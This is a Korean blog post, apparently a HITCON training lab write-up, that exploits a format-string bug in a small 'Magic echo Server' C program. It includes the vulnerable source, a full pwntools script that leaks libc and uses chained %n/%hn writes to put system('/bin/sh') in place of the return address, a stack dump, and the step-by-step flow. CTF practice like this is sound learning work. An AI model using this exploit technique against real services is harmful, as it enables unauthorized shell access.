진짜 애지게 삽질했던 문제... NX적용된거 까먹고 전역변수에 shellcode삽입해서 실행하려고 했던 문제.... ㅠㅡㅠ


playfmt.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
char buf[200] ;
 
void do_fmt(){
        while(1){
                read(0,buf,200);
                if(!strncmp(buf,"quit",4))
                        break;
                printf(buf);
        }
        return ;
}
 
void play(){
        puts("=====================");
        puts("  Magic echo Server");
        puts("=====================");
        do_fmt();
        return;
}
 
int main(){
        setvbuf(stdout,0,2,0);
        play();
        return;
}
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

보호기법 확인

 


slv.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from pwn import *
 
= process('./playfmt')
 
# get __libc_start_main+243's Addr
def get_libc():
 
        sleep(0.1)
        payload = ''
        payload += "%08x"*19
        p.sendline(payload)
        sleep(0.1)
        recv_libc = p.recvuntil('\n')
        libc = int(recv_libc[144:152],16)
        print
        return libc
#Just check about exploiting flow
def check():
        sleep(0.1)
 
        payload = ''
        payload += "%08x"*19
        p.sendline(payload)
        sleep(0.1)
 
        recv_stack = p.recvuntil('\n')
 
        stack_Addr = int(recv_stack[40:48],16)
        exploit_Addr = int(recv_stack[72:80],16)
        overwrite_RET = int(recv_stack[80:88],16)
        overwrite_arg = int(recv_stack[96:104],16)
 
        log.info('stack_Addr : ' + str(hex(stack_Addr)))
        log.info('exploit_Addr : ' + str(hex(exploit_Addr)))
        log.info('Overwrite_RET : ' + str(hex(overwrite_RET)))
        log.info('Overwrite_arg : ' + str(hex(overwrite_arg)))
        print
        return stack_Addr, exploit_Addr, overwrite_RET, overwrite_arg
 
p.recv()
#return __libc_start_main+243
libc = get_libc()
#system - libc = 0x2639d
#binsh - libc = 0x1464f9
system_Addr = libc + 0x2639d
binsh_Addr = libc + 0x1464f9
 
#checking Addr is right
log.info('libc : ' + str(hex(libc)))
log.info('system_Addr : ' + str(hex(system_Addr)))
log.info('binsh_Addr : ' + str(hex(binsh_Addr)))
print
 
#slicing Addr
highSystem_Addr = system_Addr / 0x10000
lowSystem_Addr = system_Addr & 0xFFFF
 
highBinsh_Addr = binsh_Addr / 0x10000
lowBinsh_Addr = binsh_Addr & 0xFFFF
 
stack_Addr, exploit_Addr, overwrite_RET, overwrite_arg = check()
 
#change exploit_Addr to RET-2
 
set_Addr = stack_Addr & 0xFFFF
set_Addr -= 28
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
#First_Overwrite RET to System
 
insert_Addr = lowSystem_Addr-64
 
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) +"x%n"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
#change exploit_Addr to RET
 
set_Addr += 2
 
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
#Second_Overwrite RET to System
insert_Addr = highSystem_Addr-64
 
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) + "x%n"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
#change exploit_Addr to RET+6
 
set_Addr += 6
 
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
#First_Overwrite binsh to arg
 
insert_Addr = lowBinsh_Addr - 64
 
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) + "x%n"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
 
#change exploit_Addr to RET+8
 
set_Addr += 2
 
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
check()
 
#Second_Overwrite binsh to arg
 
insert_Addr= highBinsh_Addr - 64
 
payload = ''
payload += "%08x"*8
payload += "%" + str(insert_Addr) + "x%n"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
#change exploit_Addr to Origin
 
set_Addr -= 12
 
payload = ''
payload += "%08x"*4
payload += "%" + str(set_Addr) + "x%hn"
 
p.send(payload)
sleep(0.1)
p.recvuntil('\n')
 
check()
 
p.send('quit')
sleep(0.1)
p.interactive()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

어쩌다보니 코드가 길어진 감이 있긴 한데 정말 간단하다.

 

esp:0xff92bdf0
ebp:0xff92be08

0xff92bdf0:     0x0804a060      0x08048640      0x00000004      0x0804857c
0xff92be00:     0x08048645      0x00000000      0xff92be18      0x08048584
0xff92be10:     0xf77acac0      0x00000000      0xff92be28      0x080485b1
0xff92be20:     0xf77ac3c4      0xff92be40      0x00000000      0xf761bad3
0xff92be30:     0x080485c0      0x00000000      0x00000000      0xf761bad3
0xff92be40:     0x00000001      0xff92bed4      0xff92bedc      0xf77cde6a
0xff92be50:     0x00000001      0xff92bed4      0xff92be74      0x0804a018
0xff92be60:     0x08048270      0xf77ac000      0x00000000      0x00000000

 

위의 스택은 printf(buf)를 들어가기 전의 스택인데 해당 exploit은 빨간부분이 노란부분을 가리키기고 있기 때문에 노란부분의 젤 마지막 1바이트를 바꿔주면서 초록색에는 system함수의 주소값을 노란부분에는 '/bin/sh'문자열의 주소값을 넣어주는 것으로 exploit을 진행했다.


Exploit Flow

 

1. 보라색부분이 __libc_start_main+243의 주소이므로 이 값을 leak하여 system_Addr, /bin/sh_Addr을 구한다.

2. 해당 주소를 상위 4바이트, 하위 4바이트로 나누어 저장한다.

3. 빨간색 부분의 주소를 이용하여 주황색의 값을 +2 를 해주고 system 함수의 하위 4바이트를 넣는다.

4. 빨간색 부분의 주소를 이용하여 바뀐 주황색의 값을 다시 +2를 하고 system 함수의 상위 4바이트를 넣는다.

5. 빨간색 부분의 주소를 이용하여 바뀐 주황색의 값을 +6을 하고 /bin/sh주소값의 하위 4바이트를 넣는다.

6. 빨간색 부분의 주소를 이용하여 바뀐 주황색의 값을 +2를 하고 /bin/sh주소값의 상위 4바이트를 넣는다.

7. 마지막으로 quit을 보내줘서 do_fmt을 종료하게 만든다.

8. exploit

'System > Hitcon training' 카테고리의 다른 글

190422-lab10  (0) 2019.04.22
190421-lab8  (0) 2019.04.21
190421-lab7  (0) 2019.04.21
190403-lab6  (0) 2019.04.03
190403-lab5  (0) 2019.04.03

+ Recent posts